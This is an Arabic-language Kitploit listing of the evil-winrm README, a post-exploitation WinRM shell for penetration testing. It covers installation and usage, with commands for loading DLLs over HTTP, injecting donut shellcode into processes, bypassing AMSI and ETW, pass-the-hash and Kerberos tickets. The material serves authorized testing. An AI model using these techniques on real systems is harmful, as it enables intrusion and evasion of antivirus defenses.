Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/hackplayers/evil-winrm
توليد الحمولةالاستغلالما بعد الاستغلالاختبار الاختراقالمصادقةأداة الوصول عن بعد
GitHubhackplayers/evil-winrm

evil-winrm

أداة WinRM shell المثلى للاختراق/اختبار الاختراق

عرض المستودع
5.4k6804منذ يوم واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Evil-WinRM Version-shield Ruby2.3-shield Gem-Version License-shield Docker-shield

الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني

Banner

الوصف والغرض

هذه الصدفة هي الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني.

WinRM (الإدارة عن بُعد لنظام ويندوز) هو تطبيق مايكروسوفت لبروتوكول WS-Management. وهو بروتوكول قياسي يعتمد على SOAP يسمح للأجهزة وأنظمة التشغيل من بائعين مختلفين بالتفاعل مع بعضها البعض. أدرجته مايكروسوفت في أنظمة تشغيلها لتسهيل حياة مسؤولي الأنظمة.

يمكن استخدام هذا البرنامج على أي خوادم ويندوز من مايكروسوفت مع تفعيل هذه الميزة (عادةً على المنفذ 5985)، بالطبع فقط إذا كانت لديك بيانات اعتماد وصلاحيات لاستخدامه. لذا يمكننا القول إنه يمكن استخدامه في مرحلة ما بعد الاستغلال في الاختراق/الاختبار الأمني. الغرض من هذا البرنامج هو توفير ميزات سهلة ومريحة للاختراق. يمكن استخدامه أيضًا لأغراض مشروعة من قبل مسؤولي الأنظمة، لكن معظم ميزاته تركز على أمور الاختراق/الاختبار الأمني.

يعتمد بشكل أساسي على مكتبة WinRM الخاصة بـ Ruby والتي غيّرت طريقة عملها منذ إصدارها 2.0. الآن بدلاً من استخدام بروتوكول WinRM، يستخدم PSRP (بروتوكول الاتصال عن بُعد لـ Powershell) لتهيئة مجموعات runspace بالإضافة إلى إنشاء ومعالجة خطوط الأنابيب.

الميزات

  • متوافق مع أنظمة عملاء لينكس وويندوز
  • تحميل سكربتات Powershell في الذاكرة
  • تحميل ملفات dll في الذاكرة متجاوزًا بعض برامج مكافحة الفيروسات
  • تحميل تجميعات C# (سي شارب) في الذاكرة متجاوزًا بعض برامج مكافحة الفيروسات
  • تحميل حمولات x64 المولّدة بتقنية donut الرائعة
  • تجاوز ديناميكي لـ AMSI لتجنب توقيعات مكافحة الفيروسات
  • دعم Pass-the-hash
  • دعم مصادقة Kerberos بما في ذلك ملفات ccache وkirbi
  • دعم SSL والشهادات
  • رفع وتنزيل الملفات مع عرض شريط التقدم
  • سرد خدمات الجهاز البعيد دون صلاحيات
  • سجل الأوامر
  • إكمال أوامر WinRM
  • إكمال الملفات/المجلدات المحلية
  • إكمال المسارات البعيدة (ملفات/مجلدات) (يمكن تعطيله اختياريًا)
  • تلوين المطالبة ورسائل الإخراج (يمكن تعطيله اختياريًا)
  • ميزة تسجيل اختيارية
  • دعم Docker (صور جاهزة متاحة على Dockerhub)
  • التقاط الإشارات لتجنب الخروج العرضي من الصدفة عند الضغط على Ctrl+C
  • وكيل مستخدم قابل للتخصيص باستخدام الوكيل الافتراضي المشروع لويندوز
  • تجاوز ETW (تتبع الأحداث لويندوز)

المساعدة```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## المتطلبات
يلزم توفر Ruby 2.3 أو إصدار أحدث. كما يلزم توفر بعض حِزم ruby gems: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
اعتمادًا على طريقة التثبيت لديك (4 طرق متاحة)، قد يلزم تثبيتها يدويًا.

من المتطلبات المهمة الأخرى المستخدمة فقط لمصادقة Kerberos هو تثبيت حزمة Kerberos المستخدمة للمصادقة عبر الشبكة.
بالنسبة لبعض توزيعات Linux القائمة على Debian (مثل Kali وParrot وغيرها)، تُسمى `krb5-user`. أما بالنسبة لـ BlackArch فتُسمى `krb5`، وقد تُسمى بطريقة مختلفة في توزيعات Linux الأخرى.

تتطلب ميزة إكمال المسار البعيد ربط `readline-ext` الأصلي، والذي يتم تثبيته تلقائيًا كاعتماد لـ Evil-WinRM. تتطلب بعض الأنظمة حزم تطوير إضافية لتجميعه. راجع [القسم أدناه](#Remote-path-completion) لمزيد من المعلومات.

## التثبيت والبدء السريع (4 طرق)

### الطريقة 1. التثبيت مباشرة كـ ruby gem (سيتم تثبيت الاعتماديات تلقائيًا على نظامك)
 - الخطوة 1. قم بتثبيته (سيقوم تلقائيًا بتثبيت الاعتماديات): ```gem install evil-winrm```
 - الخطوة 2. انتهيت. فقط قم بتشغيله!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

الطريقة 2. استنساخ Git وتثبيت التبعيات على نظامك يدويًا

  • الخطوة 1. قم بتثبيت التبعيات يدويًا: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
  • الخطوة 2. استنسخ المستودع: git clone https://github.com/Hackplayers/evil-winrm.git
  • الخطوة 3. جاهز. فقط قم بتشغيله!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### الطريقة 3. استخدام bundler (لن يتم تثبيت التبعيات على نظامك، فقط لاستخدام evil-winrm)
 - الخطوة 1. تثبيت bundler: `gem install bundler`
 - الخطوة 2. استنساخ المستودع: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - الخطوة 3. تثبيت التبعيات باستخدام bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - الخطوة 4. تشغيله باستخدام bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

الطريقة 4. استخدام Docker

  • الخطوة 1. قم بتشغيل حاوية Docker بناءً على الصورة التي تم بناؤها بالفعل:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## التوثيق

### كلمة المرور كنص واضح
إذا كنت لا تريد وضع كلمة المرور كنص واضح، يمكنك اختيارياً تجنب تعيين الوسيط `-p` وسيُطلب منك إدخال كلمة المرور دون إظهارها.

### Ipv6
لاستخدام IPv6، يجب إضافة العنوان إلى ملف /etc/hosts. فقط ضع اسم المضيف المُحدد مسبقاً بعد الوسيط `-i` بدلاً من عنوان IP.

### الأوامر الأساسية
 - **upload**: يمكن إكمال الملفات المحلية تلقائياً باستخدام مفتاح tab.
   - الاستخدام: `upload local_filename` أو `upload local_filename destination_filename`
 - **download**:
   - الاستخدام: `download remote_filename` أو `download remote_filename destination_filename`

 __ملاحظات حول المسارات (upload/download)__:
   لا يُسمح باستخدام المسارات النسبية في download/upload. استخدم أسماء الملفات في الدليل الحالي أو المسار المطلق.
   إذا كنت تستخدم Evil-WinRM في بيئة docker، ضع في اعتبارك أن جميع المسارات المحلية يجب أن تكون في `/data` وتأكد تماماً من أنك قمت بتعيينها كوحدة تخزين (volume) لتتمكن من الوصول إلى الملفات التي تم تنزيلها أو لتتمكن من رفع الملفات من نظام التشغيل المحلي لديك.

 - **services**: يعرض قائمة بجميع الخدمات مع إظهار ما إذا كان حسابك لديه صلاحيات على كل منها. لا حاجة لصلاحيات المسؤول لاستخدام هذه الميزة.
 - **menu**: يقوم بتحميل دوال `Invoke-Binary` و`Dll-Loader` و`Donut-Loader` التي سنشرحها أدناه. عند تحميل ملف ps1 ستظهر جميع دواله.
 - **clear** أو **cls**: مسح شاشة الطرفية. يمكنك أيضاً استخدام اختصار لوحة المفاتيح `Ctrl+L` لمسح الشاشة.
 - **exit** أو **quit**: إغلاق جلسة Evil-WinRM. يمكنك أيضاً استخدام اختصار لوحة المفاتيح `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

تحميل سكربتات PowerShell

  • لتحميل ملف ps1، ما عليك سوى كتابة الاسم (يُسمح بالإكمال التلقائي باستخدام مفتاح Tab). يجب أن تكون السكربتات في المسار المحدد في الوسيط -s. اكتب menu مرة أخرى وشاهد الدوال المحمّلة. قد تستغرق الملفات الكبيرة جدًا وقتًا طويلاً ليتم تحميلها.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### الأوامر المتقدمة
- Invoke-Binary: يسمح بتنفيذ تجميعات .Net في الذاكرة. يمكن إكمال الاسم تلقائيًا باستخدام مفتاح Tab. يمكن تمرير الوسائط الخاصة بملف exe مفصولة بفواصل. مثال: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. يجب أن تكون الملفات التنفيذية في المسار المحدد في وسيط `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: يسمح بتحميل مكتبات dll في الذاكرة، وهو مكافئ لـ: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    يمكن استضافة ملف dll عبر smb أو http أو محليًا. بمجرد تحميله، اكتب menu، ثم يصبح من الممكن إكمال جميع الوظائف تلقائيًا.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- **Donut-Loader**: يسمح بحقن حمولات x64 المُولّدة بتقنية [donut] الرائعة. لا حاجة لتشفير ملف payload.bin، فقط قم بتوليده وحقنه!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

يمكنك استخدام donut-maker هذا لتوليد payload.bin إذا كنت لا تستخدم ويندوز. يستخدم هذا السكربت وحدة بايثون كتبها Marcello Salvati (byt3bl33d3r). يمكن تثبيتها باستخدام pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: تصحيح حماية AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • أولاً يجب مزامنة التاريخ مع وحدة التحكم بالمجال (DC): rdate -n <dc_ip>

  • لتوليد التذكرة هناك عدة طرق:

    • باستخدام ticketer.py من impacket
    • باستخدام Rubeus أو Mimikatz للحصول على تذاكر kirbi (التحويل التلقائي إلى ccache مدعوم)
  • أضف ملف التذكرة. هناك 3 طرق:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    استخدم المعامل -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache أو evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    عند استخدام -K، ستقوم الأداة تلقائياً بما يلي:

    • اكتشاف تنسيق التذكرة (ccache أو kirbi)
    • تحويل تذاكر kirbi إلى تنسيق ccache إذا لزم الأمر (يتطلب ticket_converter.py أو impacket-ticketConverter)
    • التحقق من وجود الملف وأنه قابل للقراءة
    • تعيين متغير البيئة KRB5CCNAME
    • تحويل عناوين IP إلى FQDN لتوافق أفضل مع Kerberos

إكمال المسار عن بُعد

تتطلب هذه الميزة ربط readline-ext الأصلي. يعلن Evil-WinRM عنها كاعتماد، لذا يتم تثبيتها تلقائيًا عند استخدام RubyGems أو Bundler. إذا تعذر بناء الامتداد الأصلي، فلن تعمل هذه الميزة (سيتم عرض تحذير).

ملاحظة Ruby 3.3+: تمت إزالة ext/readline من مصدر Ruby في الإصدار 3.3 (الميزة #19616). لذلك، لا يمكن استخدام الطريقة 1 أدناه مع Ruby 3.3 أو الأحدث. على الأنظمة القائمة على Debian، قم بتثبيت حزمة التطوير المطلوبة قبل تثبيت Evil-WinRM أو اعتمادياته:``` sudo apt install libreadline-dev

root@kitploit:~
تعتمد `readline-ext` على جعل `require 'readline'` يقوم بتحميل GNU Readline بدلاً من `reline`، الذي يفتقر إلى `quoting_detection_proc`، وهي الطريقة التي يتحقق منها Evil-WinRM. الطرق أدناه تستهدف إصدارات Ruby الأقدم ويتم الاحتفاظ بها للتوافق.

#### الطريقة 1 (تجميع الامتداد المطلوب)

باستخدام هذه الطريقة، ستقوم بتجميع ruby مع ميزة readline المطلوبة، ولكن لاستخدام المكتبة فقط دون تغيير إصدار ruby الافتراضي على نظامك. ولهذا السبب، فهي الطريقة الأكثر تفضيلاً.

لنفترض أن لديك على نظامك القائم على Debian إصدار ruby 2.7.3:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

الطريقة 2 (تثبيت ruby لاستخدامه فقط من أجل evil-winrm باستخدام rbenv)

لنفترض أنك تريد ruby 2.7.1 على نظام Linux مبني على Debian وأنك تستخدم zsh. سيعمل هذا السكربت على أتمتة ذلك. ستحتاج إلى تشغيله من نفس المجلد الذي يوجد فيه evil-winrm.rb و Gemfile (مثل المجلد الذي تم إنشاؤه بواسطة evil-winrm بعد git clone على سبيل المثال):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

root@kitploit:~
ثم يمكنك تشغيل evil-winrm بأمان باستخدام روبي المثبت حديثًا مع دعم readline المطلوب من أي موقع.

#### الطريقة 3 (تجميع روبي بالكامل)

إذا كنت تريد تجميعه بنفسك، يمكنك اتباع هذه الخطوات. لنفترض أنك تريد روبي 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

اعتمادًا على نظامك، سيتم تثبيته في /opt/rubies/ruby-2.7.3 أو ربما في ~/.rubies/ruby-2.7.3.

الآن تحتاج فقط إلى تثبيت تبعيات evil-winrm لإصدار ruby الجديد المثبت. أسهل طريقة هي تشغيل الأمر /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. يجب أن يكون أمر gem المستخدم تابعًا لتثبيت ruby الجديد.

بعد ذلك، يمكنك تشغيل ruby الجديد المثبت بأمان لاستخدامه مع evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

يُوصى باستخدام ruby الجديد المثبت فقط لتشغيل evil-winrm. إذا قمت بتعيينه كـ ruby الافتراضي لنظامك، فضع في اعتبارك أنه لا يحتوي على حزم التبعيات المثبتة. بعض البرامج القائمة على ruby مثل Metasploit أو غيرها قد لا تبدأ بشكل صحيح بسبب مشاكل التبعيات.

تسجيل السجلات (Logging)

ستقوم هذه الميزة بإنشاء ملفات في دليل $HOME الخاص بك لحفظ الأوامر ومخرجات جلسات WinRM.

سجل الأوامر (Command History)

يحافظ Evil-WinRM على سجل أوامر دائم لكل مجموعة مضيف ومستخدم. يتم تخزين السجل في دليل ~/.evil-winrm/history/ مع ملفات مسماة بصيغة {host}_{user}.hist.

عند الاتصال بجهاز قمت بالوصول إليه سابقًا، يمكنك استخدام مفاتيح الأسهم (أعلى/أسفل) للتنقل عبر أوامرك السابقة. يتم حفظ السجل تلقائيًا بعد كل تنفيذ أمر ويتم تحميله عند إعادة الاتصال بنفس المضيف مع نفس المستخدم.

مشاكل معروفة. أخطاء OpenSSL

في بعض الأحيان، قد تواجه خطأ مثل هذا:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

root@kitploit:~
الخطأ ناتج عن أن إصدار OpenSSL 3.0 أزال بعض الدوال القديمة مثل MD4 اللازمة لتشغيل هذه الأداة. توجد عدة حلول بديلة قائمة للتعامل مع هذه الحالة:

 - حدّث نظامك إلى أحدث إصدار. على الأرجح، تم إصلاح هذه المشكلة تلقائيًا في أحدث إصدارات Ruby التي تستخدم إصدارات OpenSSL أحدث.
 - قم بتجميع Ruby خاص بك باستخدام OpenSSL 1.x القديم بدلاً من OpenSSL 3.0 أو قم بتجميعه باستخدام OpenSSL > 3.0 لتجنب الإصدار 3.0 الإشكالي.
 - الحل الأسهل. عدّل ملف الإعداد `/etc/ssl/openssl.cnf` وتأكد من أن الإعداد يكون على هذا النحو:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • كبديل عن الحل الأخير، إذا كان نظامك يستخدم LibreSSL بدلاً من OpenSSL أو ربما لا تريد تعديل ملف إعدادات النظام. أنشئ ملفًا بسيطًا يحتوي على المحتوى أعلاه. يمكن استخدام أي اسم، على سبيل المثال evil-tls.conf. بعد ذلك، قم بتصدير متغير بيئة لفرض النظام على استخدامه: export OPENSSL_CONF="/path/to/evil-tls.conf". ثم قم بتشغيل الأداة، وسيختفي الخطأ.

سجل التغييرات:

يمكن الاطلاع على سجل التغييرات وتغييرات المشروع هنا: CHANGELOG.md

الاعتمادات:

الفريق:

  • Cybervaca، (المؤسس). تويتر (X): @CyberVaca_
  • OscarAkaElvis، تويتر (X): @OscarAkaElvis
  • Jarilaos، تويتر (X): @_Laox
  • arale61، تويتر (X): @arale61

شكر خاص إلى:

  • Vis0r لدعمه الشخصي.
  • Alamot لكوده الأصلي.
  • 3v4Si0N لمُحمّل الـ dll الرائع.
  • WinRb جميع المساهمين في مكتبة ruby.
  • TheWover لأداته الرائعة donut.
  • byt3bl33d3r لمكتبته بلغة python لإنشاء حمولات donut.
  • Sh11td0wn للإلهام حول الميزات الجديدة.
  • Borch لمساعدته في إضافة ميزة التسجيل.
  • noraj لمساعدته في صيانة الأداة عبر إصدارات Ruby.
  • Hackplayers لإيوائهم هذا البرنامج على جيثب الخاص بهم.

إخلاء المسؤولية والترخيص

هذا السكربت مرخص بموجب LGPLv3+. رابط مباشر إلى الترخيص.

يجب استخدام Evil-WinRM فقط لاختبارات الاختراق المصرح بها و/أو الأغراض التعليمية غير الربحية. لن يتحمل المؤلف أو أي مساهم آخر مسؤولية أي إساءة استخدام لهذا البرنامج. استخدمه على خوادمك الخاصة و/أو بإذن من مالك الخادم.

تنزيل الأداة
  • أضف النطاق (realm) إلى /etc/krb5.conf (لنظام لينكس). استخدام هذا التنسيق مهم: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

    root@kitploit:~
  • تحقق من تذاكر Kerberos باستخدام klist

  • لإزالة التذكرة استخدم: kdestroy

  • لمزيد من المعلومات حول Kerberos راجع [ورقة الغش هذه]